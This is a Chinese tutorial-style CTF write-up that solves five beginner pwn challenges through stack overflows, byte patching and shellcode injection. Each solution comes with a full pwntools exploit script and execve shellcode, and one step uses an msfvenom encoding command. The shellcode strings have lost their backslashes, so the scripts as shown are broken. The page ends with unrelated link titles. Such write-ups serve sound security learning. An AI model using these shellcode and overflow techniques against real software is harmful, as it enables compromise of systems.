pwn入门系列习题解析
Posted xingzherufeng
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn入门系列习题解析相关的知识,希望对你有一定的参考价值。
第一题--BITSCTF 2017-Command_Line
查看文件格式以及开启的保护措施,此处全保护均未开启(默认开启ASLR),且为64位ELF。
尝试运行,发现打印出一处地址(基本不用考虑ASLR了),猜测为栈某处地址
放入ida观察逻辑,发现的确打印了栈上的一个地址,可以直接用。此处可以顺便探测一下偏移,0x10+8=0x18,输入0x18个字符后即可覆盖ret。只要注意shellcode位于泄露的栈地址后的0x20处(0x18+8=0x20)。至于shellcode直接从网上找就可以了,一个不行多试试别的(我第一个不行,换了一个就好了)。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 io = process(‘./pwn1‘) 6 7 shellcode = ‘x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05‘ 8 9 shellcode_address_at_stack = int(io.recv()[:-1], 16)+0x20 10 log.info("Leak stack address = %x", shellcode_address_at_stack) 11 12 payload = "x90"*24 13 payload += p64(shellcode_address_at_stack) 14 payload += shellcode 15 io.sendline(payload) 16 io.interactive()
第二题—BSides San Francisco CTF 2017-b_64_b_tuff
查看文件格式和保护,发现32位ELF文件,开了NX保护,即数据段不可执行。
尝试运行,发现打印出了栈顶的地址,其次会要求我们输入,我们看到他会计算我们输入的字符个数,接着会发现一个貌似是base64的加密(特征“==”结尾)。且发生栈溢出。
我们放入ida观察程序逻辑。重点关注后4个语句。首先将输入的字符串进行base64加密,然后打印出加密的base64码,接着会运行他。那么现在目的明确,我们需要输入一串字符串,满足base64加密后为可执行的shellcode即可。
这里推荐msfvenom工具
首先,我们需要一个编码器,只需要大小写都满足的混合代码就可以,用msfvenom -l encoders来查看编码器。
编码器还是很多的,我们就选择x86/alpha_mixed就行。
由于msfvenom的输入只能从stdin读取,因此我们用管道符通过python输入给他
python -c ‘import sys; sys.stdout.write("x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05")‘ | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux -o payload
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 from base64 import * 6 7 io = process(‘./b-64-b-tuff‘) 8 9 shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA") 10 11 print io.recv() 12 io.send(shellcode) 13 print io.recv() 14 io.interactive()
第三题--CSAW Quals CTF 2017-pilot
查看文件格式和开启保护情况,全保护未开启,64位ELF,考虑执行shellcode
观察程序执行情况,比较有用的信息是打印出的一个地址,别的好像都是废话。
我们把它放入ida观察一下逻辑
这么多std库的调用,应该是c++的代码,我们忽略掉多余信息,关注read函数,发现他向buf数组中输入了0x40个字符,而buf位于rbp-0x20处,这里明显存在栈溢出。
那么我们现在的思路就是溢出ret制造栈溢出。
但是我这里直接正常溢出覆盖返回值执行shellcode会出错,我在main函数返回时的ret下断点,跟进调试
我们发现,当执行完push rbx后,函数返回值会被覆盖掉,我们接着执行
上图是push rdi执行后,原本的shellcode最后一行也被替换掉了,由于我们暂时找不到比较短的shellcode, 因此我们需要对shellcode进行截断改造。
我们通过之前的调试可以发现,执行完push rdi后会破坏ret之前共24个字节(3*8)的栈空间数据。再则,我们read可控的输入为0x40,buf到rbp的距离为0x20,因此ret后的栈空间还有0x60-0x20-8-8=0x10,即16字节数据可控。而通过打开ida显示字节码的功能后,可以看出push rdi后shellcode还剩下8字节未执行,ret后的栈空间足够我们控制。
我们使用上述jmp跳转指令,可以看到它的字节码为EB 05(注意jmp跳转的距离是从该语句的下一条语句地址算,因此为0x34-0x2f=0x05)。这里注意到我们前面可以输入的shellcode未被覆盖部分为前24个字节,又考虑到需要留给jmp跳转语句两个字节(EB 18)
我们只要先传22字节的shellcode,再传2字节的EB 18进行跳转,再接上剩下8字节的shellcode,即可得到shell。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process(‘./pilot‘) 7 8 shellcode1 = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50" 9 shellcode1 += "xebx18" 10 shellcode2 = "x57x48x89xe6xb0x3bx0fx05" 11 print io.recvuntil("Location:") 12 shellcode_address_at_stack = int(io.recv()[0:14], 16) 13 log.info("Leak stack address = %x", shellcode_address_at_stack) 14 15 payload = "" 16 payload += shellcode1 17 payload += "x90"*(0x28-len(shellcode1)) 18 payload += p64(shellcode_address_at_stack) 19 payload += shellcode2 20 21 io.send(payload) 22 io.interactive()
第四题--Openctf 2016-apprentice_www
老规矩,查看文件格式和保护开启情况,可以看到开启了NX保护,为32位程序。
尝试运行程序,发现程序要求我们输入,输入后提示栈溢出且把我们的输入当作命令执行(怀疑),感觉可以利用
扔入ida分析一波,发现main函数很简单,刷新缓冲区和alarm简单的反调试,主要关注一下setup函数和butterflyswag函数。
我们发现在setup中调用了mprotect函数设置内存页属性,相当于设置了.bss,.data和.text可读可写可执行。接着进入下一个函数观察,发现有两个输入,第一个输入v1是一个单字节变量,第二个输入v2为一个地址,它会将v1的值写入我们输入的地址处,将地址的最低位给替换掉,由于只能修改一个字节,导致我们不能get shell,我们需要想办法通过一个字节的修改来扩大可控范围。
我们的想法是通过覆盖0x080485db处的jnz语句,使得其跳转回头继续执行两次scanf。
这里需要注意一下,由于我们只能修改最后一个字节,因此此处通过计算得到(0x9d-0xdb=0xffc2),此处计算出为负值可以直接使用。注意我们在这里修改后每次执行到这里都会返回前两个scanf,我们可以借这个条件完成所有shellcode的输入(分次输入)。这里我们可以选择for循环,限制条件为shellcode长度。记住for循环执行完后我们需要将跳转语句修改为shellcode所在地址,然后过滤掉所有多余字符串即可开启shell。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process(‘./apprentice_www‘) 7 8 patch_jne_address = 0x080485da #jnz loc_80485E9所在地址 9 shellcode_address = 0x080485db #shellcode放置的地址 10 11 shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80" 12 13 io.sendline(str(patch_jne_address)) 14 io.sendline(str(0xc2)) #将jnz loc_80485E9改成jnz loc_804859D,重复执行两个call __isoc99_scanf读取shellcode 15 16 for i in xrange(len(shellcode)): #逐字节写入shellcode到jnz loc_80485E9指令后面 17 io.sendline(str(shellcode_address+i)) 18 io.sendline(str(ord(shellcode[i]))) 19 20 io.sendline(str(patch_jne_address)) 21 io.sendline(str(0x00)) #写完shellcode后改为jnz loc_80485DB,执行shellcode 22 23 io.recv() 24 io.interactive()
第五题--Openctf 2016-tyro_shellcode1
老方法走一遭,发现这次保护开的比较多啊,从保护上看貌似不能执行shellcode而且开了canary保护,栈溢出也被限制了。
放入ida瞧一瞧,从逻辑上瞧一瞧。发现mmap一个内存块,然后read输入也在这块内存块上,下面竟然把我们的输入直接执行了,这下简单了,只需要输入shellcode就拿到shell
这里有个注意点,read调用的输入函数,我们在交互的时候可以直接使用send,而不需要sendline,这样可以省下一个字节的空间,对于有些对栈空间要求严格题目可能有奇效。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process(‘./tyro_shellcode1‘) 7 8 shellcode = "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" 9 10 io.sendline(shellcode) 11 io.interactive()
以上是关于pwn入门系列习题解析的主要内容,如果未能解决你的问题,请参考以下文章
[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)
《C#零基础入门之百识百例》(九十)Tulpe元组解析 -- 订单查询
《C#零基础入门之百识百例》(九十)Tulpe元组解析 -- 订单查询